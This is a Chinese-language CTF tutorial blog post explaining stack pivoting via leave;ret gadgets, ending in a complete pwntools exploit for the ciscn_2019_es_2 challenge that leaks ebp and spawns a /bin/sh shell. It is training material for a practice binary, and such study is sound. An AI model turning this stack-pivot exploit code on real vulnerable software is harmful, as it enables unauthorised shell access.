前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN从入门到放弃(12)——栈溢出之栈迁移

PWN从入门到放弃(12)——栈溢出之栈迁移

作者头像
山深有杏
发布2024-01-30 14:25:07
5570
发布2024-01-30 14:25:07
举报
文章被收录于专栏:CTF新手教程

0x00 什么是栈迁移

栈迁移主要是为了解决栈溢出空间大小不足的问题

简单的说:就是通过修改ebp指针来修改栈帧的位置和大小

0x01 栈迁移的实现

通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave_ret这个gadget将esp劫持到fake_ebp的地址上。

什么是leave_ret

终端输入下面这行命令,就可以看到gadget

代码语言:javascript
复制
$ ROPgadget --binary ciscn_2019_es_2

leave:

代码语言:javascript
复制
mov esp,ebp;
pop ebp;

ret:

代码语言:javascript
复制
pop eip

假如,有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这个样子:

当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入

在程序call调用之后,会存在这样的指令

代码语言:javascript
复制
mov esp,ebp
pop ebp
ret

当我们挨个去执行的时候会出现这样的情况

首先是 mov esp,ebp 执行完以后变成了这个样子:

然后 pop ebp 执行完后就是

别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位

这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处

构造的内容主要是把 fake ebp1 处写成 fake ebp2 的地址

read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样

首先是 mov esp,ebp 执行完成后效果如下:

然后是 pop ebp,执行完成后:

此时再执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数

这样我们就成功的将栈迁移到了bss段

0x02 例题

点击下载例题(ciscn_2019_es_2)

1)查看程序信息

国际惯例

代码语言:javascript
复制
$ checksec ./ciscn_2019_es_2

32位程序,开启NX保护

2)IDA pro分析

程序拖到ida里分析

看到vul()函数,直接跟进

看到程序获取我们两次输入,都是获取输入到s变量中

但是s的大小只有0x28,read可以让我们输入0x30,存在溢出

但是只能溢出8个字节,刚刚好覆盖ebp和返回地址

在ida中看到一个hack()函数,但是点开一看,啥用没有

没有可以直接返回shell的函数,而且溢出的长度太短,不够我们写rop链

那么就只能用到栈迁移啦

3)解题思路

printf会将s打印出来,如果我们正好输入0x28个字节,那么printf会把后面的ebp的值也打印出来,这就泄漏了ebp,我们就可以根据相应的偏移来定位栈的位置。

首先先泄漏ebp

代码语言:javascript
复制
pay = 'a' * 0x27 + 'b'
r.send(pay)
r.recvuntil('b')
ebp_addr = u32(r.recv(4))
print 'ebp_addr >>>>>>>> ' + hex(ebp_addr)

泄漏出ebp的值后,我们还需要计算一下相对的偏移

这个便宜点是,我们开始输入的地方,到ebp的偏移,用gdb动态调试一下

代码语言:javascript
复制
$ gdb ./ciscn_2019_es_2

先输入r运行,然后ctrl + c中断一下,再ni单步即可

这里我们随便输入四个a

直接看寄存器窗口

ebp的值为0xffffd3f8,而我们输入的位置地址为0xffffd3c0

那么偏移就是0xffffd3f8 - 0xffffd3c0 = 0x38

知道了偏移和ebp,那么我们就可以算出输入的起始地址s_addr = ebp_addr - 0x38

接下来我们就可以构造payload了

我们来分析一下这个payload

首先这个函数vuln结束时本来就要leave_ret

这时esp指向fake ebp的地址,pop ebp时将fake_ebp的值取出,所以ebp此时指向fake_ebp即s_addr

然后再leave_ret,此时esp指向ebp即s的地址,ebp的地址已经无所谓了,所以s的前4个字节无所谓,可以随便填,此时esp指向system,ebp管他呢

然后执行ret 即pop eip 所以下一步要执行system函数

这里的bin_sh_addr是需要我们根据输入的长度来计算的,也就是s_addr + 0x10

4)完整exp
代码语言:javascript
复制
# -*- coding: utf-8 -*-
from pwn import *
pro = './ciscn_2019_es_2'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
r = process(pro)
#r = remote('node3.buuoj.cn',27480)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'

rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)

if args.G:
    gdb.attach(proc.pidof(r)[0])

leave_ret = 0x080484b8
system_addr = elf.plt['system']
main_addr = elf.symbols['main']

pay = 'a' * 0x27
pay += 'b'
ru('name?')
sd(pay)
ru('b')

ebp_addr = u32(rv(4))
print 'ebp_addr >>>>>>>> ' + hex(ebp_addr)
s_addr = ebp_addr - 0x38
print 's_addr >>>>>>>> ' + hex(s_addr)
bin_sh_addr = s_addr + 0x10

pay1 = 'aaaa'
pay1 += p32(system_addr)
pay1 += p32(0xdeadbeef)
pay1 += p32(bin_sh_addr)
pay1 += '/bin/sh\x00'
pay1 = pay1.ljust(0x28,'\x00')
pay1 += p32(s_addr)
pay1 += p32(leave_ret)

sd(pay1)

r.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 什么是栈迁移
  • 0x01 栈迁移的实现
    • 什么是leave_ret
    • 0x02 例题
      • 1)查看程序信息
        • 2)IDA pro分析
          • 3)解题思路
            • 4)完整exp
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档